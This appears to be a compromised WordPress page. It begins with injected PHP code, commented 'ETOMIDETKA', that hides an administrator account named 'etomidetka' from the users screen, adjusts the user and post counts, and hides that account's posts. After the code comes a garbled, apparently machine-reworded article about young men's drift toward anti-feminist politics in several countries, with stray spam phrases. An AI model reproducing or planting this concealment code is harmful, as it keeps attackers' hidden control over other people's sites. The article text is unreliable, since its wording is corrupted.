//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
In the France from inside the 2022 young guys was in fact much keener than simply more youthful feminine for the Eric Zemmour, an excellent presidential applicant just who wrote a book rebutting Simone de Beauvoir, France’s most useful-recognized feminist. Germany’s election in 2021 saw the greatest actually ever kept-right gap amongst the votes regarding young women and dudes, predicated on Ansgar Hudde of your own School of Cologne. When you look at the Portugal, in which the far-correct Chega group increased in an enthusiastic election for the ong voters which are young, male much less experienced. And you can Southern area Korea into the 2022 select a keen overtly anti-feminist president; over 58% of men within their 20s chosen having him. Particular 58% of females within twenties recognized their competitor.

People in twenty seven Europe was in fact requested whether they arranged you to definitely advancing women’s and you can girls’ liberties went past an acceptable limit because it threatens men’s room and you may boys’ potential. Not surprisingly, dudes was in fact more likely to concur than simply female. Rather, even in the event, younger dudes was basically way more anti-feminist than simply earlier dudes, opposing the popular perception that each age group is far more liberal than just the prior one. Gefjon Of, Nicholas Charron and you can Amy Alexander of Gothenburg University play with a good Dutch example to train the difference between young (18-29) and you can dated (65+) Western european men. It is while the higher, on this concern, while the gap amongst the average advocate off Geert Wilders’s revolutionary-best Cluster getting Freedom therefore the Liberal Democrats.
An identical development retains in other complex places. Regardless if a high express away from younger United kingdom men think it is harder to-be a female than a guy than simply think this new reverse (35% so you’re able to 26%), he could be likelier than dated British dudes to say this try much harder are men than just a lady. Young Uk women can be likely to be than just the mothers to think the alternative. Nearly 80% from Southern Korean men within their twenties point out that guys are discriminated facing. Scarcely 30% of males more sixty concur, and also make its feedback indistinguishable of the ones from feamales in its 20s or sixties.
During the China pollsters do not ask about voting motives, nonetheless seksi Turski Еѕene they look for an identical divergence between more youthful men and women in terms of gender jobs (get a hold of graph 3). Yue Qian of your own College or university regarding United kingdom Columbia and you will Jiaxing Li of your own Shanghai College regarding Medicine and you will Wellness Sciences checked out questionnaire investigation having thirty-five,000 Chinese people. Inside their data it learned that young dudes was basically a lot more almost certainly than young women in order to agree with statements particularly guys is to lay industry first, while feminine should lay family unit members first and you will if the discount was crappy, female teams are fired basic.
Younger Chinese men’s views were not far different from the ones from earlier dudes, whereas younger women’s feedback was indeed a lot more egalitarian than just its mothers’. Claire, an effective age in preserving their anonymity), claims she desires someone that will reduce her due to the fact a keen equal and you will share new cleaning. I do believe extremely Chinese guys would fail you to take to, she sighs. Dr Qian cards that when Chinese mothers visit relationship edges in areas, they offer regarding their sons’ operate and you may level, but cover-up the daughters’ achievement, dreading they will certainly delay prospective suitors.
What is going on? Plus, within the democracies, of many people in politics off to the right are deftly stoking younger men complaints, even though many on the leftover barely admit one to younger guys has genuine issues.
]]>